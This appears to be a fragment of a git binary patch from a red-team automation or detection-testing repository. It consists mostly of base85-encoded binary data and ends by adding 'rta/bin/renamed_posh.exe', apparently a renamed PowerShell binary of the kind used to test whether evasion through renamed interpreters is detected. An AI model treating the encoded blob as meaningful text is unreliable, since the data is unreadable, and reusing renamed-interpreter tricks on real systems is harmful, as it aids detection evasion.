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 z%0D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 literal 0 HcmV?d00001 diff --git a/rta/bin/renamed_posh.exe b/rta/bin/renamed_posh.exe new file mode 100644 index 0000000000000000000000000000000000000000..82395ec4da1f63c8606021f6bf0cf110ad7a6dc0 GIT binary patch literal 446976 zcmeFadwf*Y_5VE~83>m+5giSRI%v=+sF8RH26P58dPZj?7NfC%Mu8YBYJ`l$DiWMT 